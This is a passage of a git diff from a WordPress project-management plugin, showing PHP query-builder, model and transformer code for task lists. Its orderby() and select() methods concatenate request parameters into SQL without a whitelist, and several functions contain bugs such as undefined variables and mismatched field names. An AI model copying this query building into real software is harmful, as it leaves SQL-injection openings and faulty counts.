$tasklist_format = pm_get_prepare_format( $this->list_ids ); + $query_data = $this->list_ids; + + $query ="SELECT DISTINCT count($tb_tasks.id) as task_count, $tb_boardable.board_id as list_id + FROM $tb_tasks + LEFT JOIN $tb_boardable ON $tb_boardable.boardable_id = $tb_tasks.id + WHERE $tb_boardable.board_id IN ($tasklist_format) + AND $tb_boardable.boardable_type=%s + AND $tb_boardable.board_type=%s + group by $tb_boardable.board_id + "; + + array_push( $query_data, 'task', 'task_list' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $list_id = $result->list_id; + unset($result->list_id); + $metas[$list_id] = $result->task_count; + } + + foreach ( $this->lists as $key => $list ) { + $list->meta['total_tasks'] = empty( $metas[$list->id] ) ? 0 : $metas[$list->id]; + } + + return $this; + } + + private function total_complete_tasks_count() { + global $wpdb; + $metas = []; + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $tasklist_format = pm_get_prepare_format( $this->list_ids ); + $query_data = $this->list_ids; + + $query ="SELECT DISTINCT count($tb_tasks.id) as task_count, $tb_boardable.board_id as list_id FROM $tb_tasks + LEFT JOIN $tb_boardable ON $tb_boardable.boardable_id = $tb_tasks.id + WHERE $tb_boardable.board_id IN ($tasklist_format) + AND $tb_boardable.boardable_type=%s + AND $tb_boardable.board_type=%s + AND $tb_tasks.status = %d + group by $tb_boardable.board_id + "; + + array_push( $query_data, 'task', 'task_list', '1' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $list_id = $result->list_id; + unset($result->list_id); + $metas[$list_id] = $result->task_count; + } + + foreach ( $this->lists as $key => $list ) { + $list->meta['total_complete_tasks'] = empty( $metas[$list->id] ) ? 0 : $metas[$list->id]; + } + + return $this; + } + + private function total_incomplete_tasks_count() { + global $wpdb; + $metas = []; + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $tasklist_format = pm_get_prepare_format( $this->list_ids ); + $query_data = $this->list_ids; + + $query ="SELECT DISTINCT count($tb_tasks.id) as task_count, $tb_boardable.board_id as list_id FROM $tb_tasks + LEFT JOIN $tb_boardable ON $tb_boardable.boardable_id = $tb_tasks.id + WHERE $tb_boardable.board_id IN ($tasklist_format) + AND $tb_boardable.boardable_type=%s + AND $tb_boardable.board_type=%s + AND $tb_tasks.status = %d + group by $tb_boardable.board_id + "; + + array_push( $query_data, 'task', 'task_list', '0' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $list_id = $result->list_id; + unset($result->list_id); + $metas[$list_id] = $result->task_count; + } + + foreach ( $this->lists as $key => $list ) { + $list->meta['total_incomplete_tasks'] = empty( $metas[$list->id] ) ? 0 : $metas[$list->id]; + } + + return $this; + } + + private function total_comments_count() { + global $wpdb; + $metas = []; + $tb_pm_comments = pm_tb_prefix() . 'pm_comments'; + $tb_boards = pm_tb_prefix() . 'pm_boards'; + $tasklist_format = pm_get_prepare_format( $this->list_ids ); + $query_data = $this->list_ids; + + $query ="SELECT DISTINCT count($tb_pm_comments.id) as comment_count, + $tb_boards.id as list_id FROM $tb_pm_comments + LEFT JOIN $tb_boards ON $tb_boards.id = $tb_pm_comments.commentable_id + WHERE $tb_boards.id IN ($tasklist_format) + AND $tb_pm_comments.commentable_type = %s + group by $tb_boards.id + "; + + array_push( $query_data, 'task_list' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $list_id = $result->list_id; + unset($result->list_id); + $metas[$list_id] = $result->comment_count; + } + + foreach ( $this->lists as $key => $list ) { + $list->meta['total_comments'] = empty( $metas[$list->id] ) ? 0 : $metas[$list->id]; + } + + return $this; + } + + private function total_assignees_count() { + global $wpdb; + $metas = []; + $tb_users = $wpdb->base_prefix . 'users'; + $tb_user_meta = $wpdb->base_prefix . 'usermeta'; + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $tasklist_format = pm_get_prepare_format( $this->list_ids ); + $query_data = $this->list_ids; + + if ( is_multisite() ) { + $meta_key = pm_user_meta_key(); + + $query ="SELECT DISTINCT count($tb_users.id) as user_count, + $tb_boardable.board_id as list_id + FROM $tb_users + LEFT JOIN $tb_boardable ON $tb_boardable.boardable_id = $tb_users.ID + LEFT JOIN $tb_user_meta as umeta ON umeta.user_id = $tb_users.ID + WHERE $tb_boardable.board_id IN ( $tasklist_format ) + AND $tb_boardable.board_type = %s + AND $tb_boardable.boardable_type = %s + AND umeta.meta_key='$meta_key' + group by $tb_boardable.board_id + "; + } else { + $query ="SELECT DISTINCT count($tb_users.id) as user_count, + $tb_boardable.board_id as list_id + FROM $tb_users + LEFT JOIN $tb_boardable ON $tb_boardable.boardable_id = $tb_users.id + WHERE $tb_boardable.board_id IN ( $tasklist_format ) + AND $tb_boardable.board_type = %s + AND $tb_boardable.boardable_type = %s + group by $tb_boardable.board_id + "; + } + + array_push( $query_data, 'task_list', 'user' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $list_id = $result->list_id; + unset($result->list_id); + $metas[$list_id] = $result->comment_count; + } + + foreach ( $this->lists as $key => $list ) { + $list->meta['total_assignees'] = empty( $metas[$list->id] ) ? 0 : $metas[$list->id]; + } + + return $this; + } + + private function get_selectable_items( $tb, $key ) { + $select = ''; + $select_items = $this->query_params[$key]; + + if ( empty( $select_items ) ) { + $select = $tb . '.*'; + } + + $select_items = str_replace( ' ', '', $select_items ); + $select_items = explode( ',', $select_items ); + + foreach ( $select_items as $key => $item ) { + $select .= $tb . '.' . $item . ','; + } + + return substr( $select, 0, -1 ); + } + + private function select() { + $select = ''; + + if ( empty( $this->query_params['select'] ) ) { + $this->select = $this->tb_list . '.*'; + + return $this; + } + + $select_items = $this->query_params['select']; + + if ( ! is_array( $select_items ) ) { + $select_items = str_replace( ' ', '', $select_items ); + $select_items = explode( ',', $select_items ); + } + + foreach ( $select_items as $key => $item ) { + $item = str_replace( ' ', '', $item ); + $select .= $this->tb_list . '.' . $item . ','; + } + + $this->select = substr( $select, 0, -1 ); + + return $this; + } + + private function join() { + return $this; + } + + private function where() { + $this->where_id() + ->where_project_id() + ->where_task_id() + ->where_title(); + + return $this; + } + + /** + * Filter list by ID + * + * @return class object + */ + private function where_id() { + + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + global $wpdb; + $format = pm_get_prepare_format( $id ); + $format_ids = pm_get_prepare_data( $id ); + + $this->where .= $wpdb->prepare( " AND {$this->tb_list}.id IN ($format)", $format_ids ); + + if ( count( $format_ids ) == 1 ) { + $this->is_single_query = true; + } + + return $this; + } + + /** + * Filter task by title + * + * @return class object + */ + private function where_title() { + global $wpdb; + $title = isset( $this->query_params['title'] ) ? $this->query_params['title'] : false; + + if ( empty( $title ) ) { + return $this; + } + + // $this->where .= " AND {$this->tb_list}.title LIKE '%$title%'"; + $this->where .= $wpdb->prepare( " AND {$this->tb_list}.title LIKE %s", '%'.$title.'%' ); + + return $this; + } + + private function where_project_id() { + global $wpdb; + $id = isset( $this->query_params['project_id'] ) ? $this->query_params['project_id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + if ( is_array( $id ) ) { + //$query_id = implode( ',', $id ); + //$this->where .= " AND {$this->tb_list}.project_id IN ($query_id)"; + $query_format = pm_get_prepare_format( $id ); + $this->where .= $wpdb->prepare( " AND {$this->tb_list}.project_id IN ($query_format)", $id ); + } + + if ( !is_array( $id ) ) { + // $this->where .= " AND {$this->tb_list}.project_id = $id"; + $this->where .= $wpdb->prepare( " AND {$this->tb_list}.project_id IN (%d)", $id ); + } + + return $this; + } + + private function where_task_id() { + $task_ids = isset( $this->query_params['task_id'] ) ? $this->query_params['task_id'] : false; + + if ( empty( $tasks ) ) { + return $this; + } + + $format = pm_get_prepare_format( $task_ids ); + $task_ids = pm_get_prepare_data( $task_ids ); + + global $wpdb; + $tb_boardables = pm_tb_prefix() . 'pm_boardables'; + + $this->join .= " LEFT JOIN {$tb_boardables} ON $tb_boardables.board_id={$this->tb_list}.id"; + + $this->where .= $wpdb->prepare( " AND $tb_boardables.boardable_id IN ($format) AND boardable_type=%s", $task_ids, 'task' ); + + return $this; + } + + private function where_sub_task_id() { + $sub_task_ids = isset( $this->query_params['sub_task_id'] ) ? $this->query_params['sub_task_id'] : false; + + if ( empty( $sub_tasks ) ) { + return $this; + } + + $format = pm_get_prepare_format( $sub_task_ids ); + $sub_task_ids = pm_get_prepare_data( $sub_task_ids ); + + global $wpdb; + $tb_boardables = pm_tb_prefix() . 'pm_boardables'; + + $this->join .= " LEFT JOIN {$tb_boardables} ON $tb_boardables.board_id={$this->tb_list}.id"; + + $this->where .= $wpdb->prepare( " AND $tb_boardables.boardable_id IN ($format) AND boardable_type=%s", $sub_task_ids, 'sub_task' ); + + return $this; + } + + private function limit() { + global $wpdb; + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( $per_page === false || $per_page == '-1' ) { + return $this; + } + + // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; + $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); + + return $this; + } + + private function orderby() { + global $wpdb; + + $tb_pj = $wpdb->prefix . 'pm_boards'; + $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; + + if ( $odr_prms === false && !is_array( $odr_prms ) ) { + return $this; + } + + $orders = []; + + $odr_prms = str_replace( ' ', '', $odr_prms ); + $odr_prms = explode( ',', $odr_prms ); + + foreach ( $odr_prms as $key => $orderStr ) { + $orderStr = str_replace( ' ', '', $orderStr ); + $orderStr = explode( ':', $orderStr ); + $orderby = $orderStr[0]; + $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; + $orders[$orderby] = $order; + } + + $order = []; + + foreach ( $orders as $key => $value ) { + $order[] = $tb_pj .'.'. $key . ' ' . $value; + } + + $this->orderby = "ORDER BY " . implode( ', ', $order); + + return $this; + } + + private function get_offset() { + $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; + + $page = empty( $page ) ? 1 : absint( $page ); + $limit = $this->get_per_page(); + $offset = ( $page - 1 ) * $limit; + + return $offset; + } + + private function get_per_page() { + + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( ! empty( $per_page ) && intval( $per_page ) ) { + return intval( $per_page ); + } + + $per_page = pm_get_setting( 'list_per_page' ); + + return empty( $per_page ) ? 10 : (int) $per_page; + } + + private function get() { + global $wpdb; + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_list}.* + FROM {$this->tb_list} + {$this->join} + WHERE %d=%d {$this->where} AND $this->tb_list.type=%s + {$this->orderby} {$this->limit} "; + + $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1, 'task_list' ) ); + + $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); + $this->lists = $results; + + if ( ! empty( $results ) && is_array( $results ) ) { + $this->list_ids = wp_list_pluck( $results, 'id' ); + } + + if ( ! empty( $results ) && !is_array( $results ) ) { + $this->list_ids = [$results->id]; + } + + return $this; + } + + private function set_table_name() { + $this->tb_project = pm_tb_prefix() . 'pm_projects'; + $this->tb_list = pm_tb_prefix() . 'pm_boards'; + $this->tb_task = pm_tb_prefix() . 'pm_tasks'; + $this->tb_project_user = pm_tb_prefix() . 'pm_role_user'; + $this->tb_task_user = pm_tb_prefix() . 'pm_assignees'; + $this->tb_categories = pm_tb_prefix() . 'pm_categories'; + $this->tb_category_project = pm_tb_prefix() . 'pm_category_project'; + } +} diff --git a/src/Task_List/Models/Task_List.php b/src/Task_List/Models/Task_List.php index 696b0fe89..ecb1213f6 100644 --- a/src/Task_List/Models/Task_List.php +++ b/src/Task_List/Models/Task_List.php @@ -1,100 +1,100 @@ - 'task_list']; - - - - public function newQuery( $except_deleted = true ) { - return parent::newQuery( $except_deleted )->where( 'type', '=', 'task_list' ); - } - - public function board() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Boardable', 'boardable_id' )->where( 'boardable_type', 'task_list' ); - } - - public function boardables() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Boardable', 'board_id' )->where( 'board_type', 'task_list' ); - } - - public function tasks( $project_id = false ) { - $tasks = $this->belongsToMany( 'WeDevs\PM\Task\Models\Task', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id' ) - ->where( pm_tb_prefix() . 'pm_boardables.boardable_type', 'task' ) - ->where( pm_tb_prefix() . 'pm_boardables.board_type', 'task_list' ) - ->withPivot( 'order' ); - - if ( $project_id ) { - $tasks = apply_filters( 'pm_filter_task_permission', $tasks, $project_id ); - } - - return $tasks; - } - - public function comments() { - return $this->hasMany( 'WeDevs\PM\Comment\Models\Comment', 'commentable_id' )->where( 'commentable_type', 'task_list' ); - } - - public function assignees() { - return $this->belongsToMany( 'WeDevs\PM\User\Models\User', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id') - ->where( 'board_type', 'task_list' ) - ->where( 'boardable_type', 'user' ); - } - - public function files() { - return $this->hasMany( 'WeDevs\PM\File\Models\File', 'fileable_id' )->where( 'fileable_type', 'task_list' ); - } - - public function milestones() { - return $this->belongsToMany( 'WeDevs\PM\Milestone\Models\Milestone', pm_tb_prefix() . 'pm_boardables', 'boardable_id', 'board_id' ) - ->where( 'board_type', 'milestone' ) - ->where( 'boardable_type', 'task_list' ); - } - - public function metas() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 'entity_id' ) - ->where( 'entity_type', 'task_list' ); - } - - public function filter_privacy( $status ) { - return $this->hasOne( 'WeDevs\PM\Common\Models\Meta', 'entity_id' ) - ->where( 'entity_type', 'task_list' ) - ->where( 'meta_key', 'privary' ) - ->where( 'meta_value', '!=', $status ); - } - - public static function latest_order($project_id) { - return self::where( 'type', 'task_list' ) - ->where('project_id', $project_id) - ->whereNotIn('order', array('99999999', '999999')) - ->max('order'); - } - -} + 'task_list']; + + + + public function newQuery( $except_deleted = true ) { + return parent::newQuery( $except_deleted )->where( 'type', '=', 'task_list' ); + } + + public function board() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Boardable', 'boardable_id' )->where( 'boardable_type', 'task_list' ); + } + + public function boardables() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Boardable', 'board_id' )->where( 'board_type', 'task_list' ); + } + + public function tasks( $project_id = false ) { + $tasks = $this->belongsToMany( 'WeDevs\PM\Task\Models\Task', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id' ) + ->where( pm_tb_prefix() . 'pm_boardables.boardable_type', 'task' ) + ->where( pm_tb_prefix() . 'pm_boardables.board_type', 'task_list' ) + ->withPivot( 'order' ); + + if ( $project_id ) { + $tasks = apply_filters( 'pm_filter_task_permission', $tasks, $project_id ); + } + + return $tasks; + } + + public function comments() { + return $this->hasMany( 'WeDevs\PM\Comment\Models\Comment', 'commentable_id' )->where( 'commentable_type', 'task_list' ); + } + + public function assignees() { + return $this->belongsToMany( 'WeDevs\PM\User\Models\User', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id') + ->where( 'board_type', 'task_list' ) + ->where( 'boardable_type', 'user' ); + } + + public function files() { + return $this->hasMany( 'WeDevs\PM\File\Models\File', 'fileable_id' )->where( 'fileable_type', 'task_list' ); + } + + public function milestones() { + return $this->belongsToMany( 'WeDevs\PM\Milestone\Models\Milestone', pm_tb_prefix() . 'pm_boardables', 'boardable_id', 'board_id' ) + ->where( 'board_type', 'milestone' ) + ->where( 'boardable_type', 'task_list' ); + } + + public function metas() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 'entity_id' ) + ->where( 'entity_type', 'task_list' ); + } + + public function filter_privacy( $status ) { + return $this->hasOne( 'WeDevs\PM\Common\Models\Meta', 'entity_id' ) + ->where( 'entity_type', 'task_list' ) + ->where( 'meta_key', 'privary' ) + ->where( 'meta_value', '!=', $status ); + } + + public static function latest_order($project_id) { + return self::where( 'type', 'task_list' ) + ->where('project_id', $project_id) + ->whereNotIn('order', array('99999999', '999999')) + ->max('order'); + } + +} diff --git a/src/Task_List/Transformers/Generate_List_Transformer.php b/src/Task_List/Transformers/Generate_List_Transformer.php index 348027a13..03149a5e7 100644 --- a/src/Task_List/Transformers/Generate_List_Transformer.php +++ b/src/Task_List/Transformers/Generate_List_Transformer.php @@ -1,50 +1,50 @@ - [] - ]; - - if ( is_array( $items ) ) { - foreach ( $items as $key => $item ) { - $data['data'][] = $this->transform( $item ); - } - } else { - $data['data'] = $this->transform( $item ); - } - - return $data; - } - /** - * Turn this item object into a generic array - * - * @return array - */ - public function transform( $item ) { - - $data = [ - 'id' => (int) $item->id, - 'title' => $item->title, - 'project_id' => $item->project_id - // 'description' => pm_filter_content_url( $item->description ), - // 'order' => (int) $item->order, - // 'status' => $item->status, - // 'created_at' => $item->created_at, - // 'meta' => $this->meta( $item ), - // 'extra' => true, - // 'project_id' => $item->project_id - - ]; - - return $data; - } -} + [] + ]; + + if ( is_array( $items ) ) { + foreach ( $items as $key => $item ) { + $data['data'][] = $this->transform( $item ); + } + } else { + $data['data'] = $this->transform( $item ); + } + + return $data; + } + /** + * Turn this item object into a generic array + * + * @return array + */ + public function transform( $item ) { + + $data = [ + 'id' => (int) $item->id, + 'title' => $item->title, + 'project_id' => $item->project_id + // 'description' => pm_filter_content_url( $item->description ), + // 'order' => (int) $item->order, + // 'status' => $item->status, + // 'created_at' => $item->created_at, + // 'meta' => $this->meta( $item ), + // 'extra' => true, + // 'project_id' => $item->project_id + + ]; + + return $data; + } +} diff --git a/src/Task_List/Transformers/List_Task_Transformer.php b/src/Task_List/Transformers/List_Task_Transformer.php index bb946790d..2ba8ba8ac 100644 --- a/src/Task_List/Transformers/List_Task_Transformer.php +++ b/src/Task_List/Transformers/List_Task_Transformer.php @@ -1,180 +1,180 @@ - (int) $item->id, - 'title' => $item->title, - 'description' => [ 'html' => pm_get_content( $item->description ), 'content' => $item->description ], - 'estimation' => $item->estimation, - 'start_at' => format_date( $item->start_at ), - 'due_date' => format_date( $item->due_date ), - 'complexity' => $item->complexity, - 'priority' => $item->priority, - 'payable' => $item->payable, - 'recurrent' => $item->recurrent, - 'parent_id' => $item->parent_id, - 'status' => $item->status, - 'project_id' => $item->project_id, - 'category_id' => $item->category_id, - 'created_at' => format_date( $item->created_at ), - 'completed_at' => format_date( $item->completed_at ), - 'updated_at' => format_date( $item->updated_at ), - 'task_list_id' => $item->task_list, - 'meta' => $this->meta( $item ), - 'assignees' => $this->assignees( $item ), - 'creator' => $this->get_creator( $item ) - ]; - - if ( $this->list_task_transormer_filter ) { - return apply_filters( 'pm_list_task_transormer', $task, $item ); - } - - return $task; - } - - public function get_creator( $item ) { - - if ( empty( $item->created_by ) ) { - $project = pm_get_projects( [ 'id' => $item->project_id ] ); - - if ( empty( $project['data']['created_by'] ) ) { - $item->created_by = get_current_user_id(); - } else { - $item->created_by = $project['data']['created_by']; - } - } - - $user = get_user_by( 'id', $item->created_by ); - - if ( ! $user ) { - return []; - } - - $data = [ - 'id' => (int) $user->ID, - 'username' => $user->user_login, - 'nicename' => $user->user_nicename, - 'email' => $user->user_email, - 'profile_url' => $user->user_url, - 'display_name' => $user->display_name, - 'manage_capability' => (int) pm_has_manage_capability($user->ID), - 'create_capability' => (int) pm_has_project_create_capability($user->ID), - 'avatar_url' => get_avatar_url( $user->user_email ), - ]; - - return [ 'data' => $data ]; - } - - public function meta( Task $item ) { - $metas = [ - 'can_complete_task' => $this->pm_user_can_complete_task( $item ), - 'total_comment' => $item->total_comment, - ]; - - return $metas; - } - - function pm_user_can_complete_task( $task ) { - - if(!$task) { - return false; - } - $user_id = get_current_user_id(); - - if ( pm_has_manage_capability( $user_id ) ) { - return true; - } - - if ( pm_is_manager( $task->project_id, $user_id ) ) { - return true; - } - - if ( $task->created_by == $user_id ) { - return true; - } - - $assignees = $this->get_task_assignee_ids( $task ); //pluck( 'assigned_to' )->all(); - $in_array = in_array( $user_id, $assignees ); - - if ( !empty( $in_array ) ) { - return true; - } - - return false; - } - - public function get_task_assignee_ids( $item ) { - $assigness = []; - if( empty( $item->assignees ) ) { - return []; - } - - $users = explode( '|', $item->assignees ); - - foreach ( $users as $key => $assign ) { - $assign = str_replace('`', '"', $assign); - $assign = json_decode( $assign ); - - if ( !empty( $assign->assigned_to ) ) { - $assigness[] = $assign->assigned_to; - } - - } - - return $assigness; - } - - public function assignees( $item ) { - $assignees = ['data'=>[]]; - if( empty( $item->assignees ) ) { - return $assignees; - } - - $users = explode( '|', $item->assignees ); - - foreach ( $users as $key => $assign ) { - $assign = str_replace('`', '"', $assign); - $assign = json_decode( $assign ); - - if ( empty( $assign->assigned_to ) ) continue; - $user = get_user_by( 'id', $assign->assigned_to ); - if ( empty( $user ) ) continue; - - $data = [ - 'id' => (int) $user->ID, - 'username' => $user->user_login, - 'nicename' => $user->user_nicename, - 'email' => $user->user_email, - 'profile_url' => $user->user_url, - 'display_name' => $user->display_name, - 'manage_capability' => (int) pm_has_manage_capability($user->ID), - 'create_capability' => (int) pm_has_project_create_capability($user->ID), - 'avatar_url' => get_avatar_url( $user->user_email ), - ]; - - - $data['completed_at'] = empty( $assign->completed_at ) ? [] : format_date( $assign->completed_at ); - $data['started_at'] = empty( $assign->started_at ) ? [] : format_date( $assign->started_at ); - $data['assigned_at'] = empty( $assign->assigned_at ) ? [] : format_date( $assign->assigned_at ); - $data['status'] = empty( $assign->status ) ? 0 : (int) $assign->status; - - $assignees['data'][] = $data; - - } - - return $assignees; - } -} + (int) $item->id, + 'title' => $item->title, + 'description' => [ 'html' => pm_get_content( $item->description ), 'content' => $item->description ], + 'estimation' => $item->estimation, + 'start_at' => format_date( $item->start_at ), + 'due_date' => format_date( $item->due_date ), + 'complexity' => $item->complexity, + 'priority' => $item->priority, + 'payable' => $item->payable, + 'recurrent' => $item->recurrent, + 'parent_id' => $item->parent_id, + 'status' => $item->status, + 'project_id' => $item->project_id, + 'category_id' => $item->category_id, + 'created_at' => format_date( $item->created_at ), + 'completed_at' => format_date( $item->completed_at ), + 'updated_at' => format_date( $item->updated_at ), + 'task_list_id' => $item->task_list, + 'meta' => $this->meta( $item ), + 'assignees' => $this->assignees( $item ), + 'creator' => $this->get_creator( $item ) + ]; + + if ( $this->list_task_transormer_filter ) { + return apply_filters( 'pm_list_task_transormer', $task, $item ); + } + + return $task; + } + + public function get_creator( $item ) { + + if ( empty( $item->created_by ) ) { + $project = pm_get_projects( [ 'id' => $item->project_id ] ); + + if ( empty( $project['data']['created_by'] ) ) { + $item->created_by = get_current_user_id(); + } else { + $item->created_by = $project['data']['created_by']; + } + } + + $user = get_user_by( 'id', $item->created_by ); + + if ( ! $user ) { + return []; + } + + $data = [ + 'id' => (int) $user->ID, + 'username' => $user->user_login, + 'nicename' => $user->user_nicename, + 'email' => $user->user_email, + 'profile_url' => $user->user_url, + 'display_name' => $user->display_name, + 'manage_capability' => (int) pm_has_manage_capability($user->ID), + 'create_capability' => (int) pm_has_project_create_capability($user->ID), + 'avatar_url' => get_avatar_url( $user->user_email ), + ]; + + return [ 'data' => $data ]; + } + + public function meta( Task $item ) { + $metas = [ + 'can_complete_task' => $this->pm_user_can_complete_task( $item ), + 'total_comment' => $item->total_comment, + ]; + + return $metas; + } + + function pm_user_can_complete_task( $task ) { + + if(!$task) { + return false; + } + $user_id = get_current_user_id(); + + if ( pm_has_manage_capability( $user_id ) ) { + return true; + } + + if ( pm_is_manager( $task->project_id, $user_id ) ) { + return true; + } + + if ( $task->created_by == $user_id ) { + return true; + } + + $assignees = $this->get_task_assignee_ids( $task ); //pluck( 'assigned_to' )->all(); + $in_array = in_array( $user_id, $assignees ); + + if ( !empty( $in_array ) ) { + return true; + } + + return false; + } + + public function get_task_assignee_ids( $item ) { + $assigness = []; + if( empty( $item->assignees ) ) { + return []; + } + + $users = explode( '|', $item->assignees ); + + foreach ( $users as $key => $assign ) { + $assign = str_replace('`', '"', $assign); + $assign = json_decode( $assign ); + + if ( !empty( $assign->assigned_to ) ) { + $assigness[] = $assign->assigned_to; + } + + } + + return $assigness; + } + + public function assignees( $item ) { + $assignees = ['data'=>[]]; + if( empty( $item->assignees ) ) { + return $assignees; + } + + $users = explode( '|', $item->assignees ); + + foreach ( $users as $key => $assign ) { + $assign = str_replace('`', '"', $assign); + $assign = json_decode( $assign ); + + if ( empty( $assign->assigned_to ) ) continue; + $user = get_user_by( 'id', $assign->assigned_to ); + if ( empty( $user ) ) continue; + + $data = [ + 'id' => (int) $user->ID, + 'username' => $user->user_login, + 'nicename' => $user->user_nicename, + 'email' => $user->user_email, + 'profile_url' => $user->user_url, + 'display_name' => $user->display_name, + 'manage_capability' => (int) pm_has_manage_capability($user->ID), + 'create_capability' => (int) pm_has_project_create_capability($user->ID), + 'avatar_url' => get_avatar_url( $user->user_email ), + ]; + + + $data['completed_at'] = empty( $assign->completed_at ) ? [] : format_date( $assign->completed_at ); + $data['started_at'] = empty( $assign->started_at ) ? [] : format_date( $assign->started_at ); + $data['assigned_at'] = empty( $assign->assigned_at ) ? [] : format_date( $assign->assigned_at ); + $data['status'] = empty( $assign->status ) ? 0 : (int) $assign->status; + + $assignees['data'][] = $data; + + } + + return $assignees; + } +} diff --git a/src/Task_List/Transformers/New_Task_List_Transformer.php b/src/Task_List/Transformers/New_Task_List_Transformer.php index 3c7c54f66..e3fb9309f 100644 --- a/src/Task_List/Transformers/New_Task_List_Transformer.php +++ b/src/Task_List/Transformers/New_Task_List_Transformer.php @@ -1,115 +1,115 @@ - (int) $item->id, - 'title' => $item->title, - 'description' => pm_filter_content_url( $item->description ), - 'order' => (int) $item->order, - 'status' => $item->status, - 'created_at' => format_date( $item->created_at ), - 'meta' => $this->meta( $item ), - 'extra' => true, - 'milestone' => $item->milestone, - 'incomplete_tasks' => ['data' => []], - 'complete_tasks' => ['data' => []], - 'creator' => $this->get_creator( $item ), - 'project_id' => $item->project_id - ]; - - return apply_filters( 'pm_task_list_transform', $data, $item ); - } - - public function get_creator( $item ) { - if(empty($item->created_by)) { - return []; - } - $user = get_user_by( 'id', $item->created_by ); - if ( ! $user ) { - return []; - } - - $data = [ - 'id' => (int) $user->ID, - 'username' => $user->user_login, - 'nicename' => $user->user_nicename, - 'email' => $user->user_email, - 'profile_url' => $user->user_url, - 'display_name' => $user->display_name, - 'manage_capability' => (int) pm_has_manage_capability($user->ID), - 'create_capability' => (int) pm_has_project_create_capability($user->ID), - 'avatar_url' => get_avatar_url( $user->user_email ), - ]; - - return $user; - } - - public function meta( $item ) { - $meta = []; - - $meta['total_tasks'] = $this->get_total_tasks( $item ); - $meta['total_complete_tasks'] = $this->get_total_complete_tasks( $item ); - $meta['total_incomplete_tasks'] = $this->get_total_incomplete_tasks( $item ); - $meta['total_comments'] = 0; - $meta['total_assignees'] = 0; - $meta['totla_files'] = 0; - - return $meta; - } - - public function get_total_tasks( $item ) { - - $c_tasks = $this->get_total_complete_tasks( $item ); - $ic_tasks = $this->get_total_incomplete_tasks( $item ); - - return $c_tasks + $ic_tasks; - } - - public function get_total_complete_tasks( $item ) { - if ( empty( $item->lists_tasks_count ) ) return 0; - if ( empty( $item->lists_tasks_count->completed_task_ids ) ) return 0; - - if ( is_array( $item->lists_tasks_count->completed_task_ids ) ) { - return count( $item->lists_tasks_count->completed_task_ids ); - } - - return 0; - } - - public function get_total_incomplete_tasks( $item ) { - if ( empty( $item->lists_tasks_count ) ) return 0; - if ( empty( $item->lists_tasks_count->incompleted_task_ids ) ) return 0; - - if ( is_array( $item->lists_tasks_count->incompleted_task_ids ) ) { - return count( $item->lists_tasks_count->incompleted_task_ids ); - } - - return 0; - } -} + (int) $item->id, + 'title' => $item->title, + 'description' => pm_filter_content_url( $item->description ), + 'order' => (int) $item->order, + 'status' => $item->status, + 'created_at' => format_date( $item->created_at ), + 'meta' => $this->meta( $item ), + 'extra' => true, + 'milestone' => $item->milestone, + 'incomplete_tasks' => ['data' => []], + 'complete_tasks' => ['data' => []], + 'creator' => $this->get_creator( $item ), + 'project_id' => $item->project_id + ]; + + return apply_filters( 'pm_task_list_transform', $data, $item ); + } + + public function get_creator( $item ) { + if(empty($item->created_by)) { + return []; + } + $user = get_user_by( 'id', $item->created_by ); + if ( ! $user ) { + return []; + } + + $data = [ + 'id' => (int) $user->ID, + 'username' => $user->user_login, + 'nicename' => $user->user_nicename, + 'email' => $user->user_email, + 'profile_url' => $user->user_url, + 'display_name' => $user->display_name, + 'manage_capability' => (int) pm_has_manage_capability($user->ID), + 'create_capability' => (int) pm_has_project_create_capability($user->ID), + 'avatar_url' => get_avatar_url( $user->user_email ), + ]; + + return $user; + } + + public function meta( $item ) { + $meta = []; + + $meta['total_tasks'] = $this->get_total_tasks( $item ); + $meta['total_complete_tasks'] = $this->get_total_complete_tasks( $item ); + $meta['total_incomplete_tasks'] = $this->get_total_incomplete_tasks( $item ); + $meta['total_comments'] = 0; + $meta['total_assignees'] = 0; + $meta['totla_files'] = 0; + + return $meta; + } + + public function get_total_tasks( $item ) { + + $c_tasks = $this->get_total_complete_tasks( $item ); + $ic_tasks = $this->get_total_incomplete_tasks( $item ); + + return $c_tasks + $ic_tasks; + } + + public function get_total_complete_tasks( $item ) { + if ( empty( $item->lists_tasks_count ) ) return 0; + if ( empty( $item->lists_tasks_count->completed_task_ids ) ) return 0; + + if ( is_array( 